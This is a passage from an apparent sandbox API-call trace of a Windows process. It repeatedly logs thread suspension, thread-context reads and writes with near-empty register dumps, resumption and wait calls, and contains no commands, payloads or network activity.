[126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0255.794] SetThreadContext (hThread=0xf4, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031768, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0256.222] ResumeThread (hThread=0xf4) returned 0x1 [0256.222] CloseHandle (hObject=0xf4) returned 1 [0256.536] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0257.980] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0258.122] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0258.281] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0258.488] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0258.488] SuspendThread (hThread=0xf4) returned 0x0 [0258.488] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031490, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe652e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0258.626] ResumeThread (hThread=0xf4) returned 0x1 [0258.626] CloseHandle (hObject=0xf4) returned 1 [0258.626] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0258.957] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0258.957] SuspendThread (hThread=0xf4) returned 0x0 [0258.957] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031480, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe6402f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0259.081] ResumeThread (hThread=0xf4) returned 0x1 [0259.081] CloseHandle (hObject=0xf4) returned 1 [0259.082] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0259.278] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0259.278] SuspendThread (hThread=0xf4) returned 0x0 [0259.278] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031440, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe563a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0259.377] ResumeThread (hThread=0xf4) returned 0x1 [0259.377] CloseHandle (hObject=0xf4) returned 1 [0259.378] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0259.645] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0259.766] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0259.966] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0260.426] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0260.426] SuspendThread (hThread=0xf4) returned 0x0 [0260.426] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031878, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xeb0165, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, 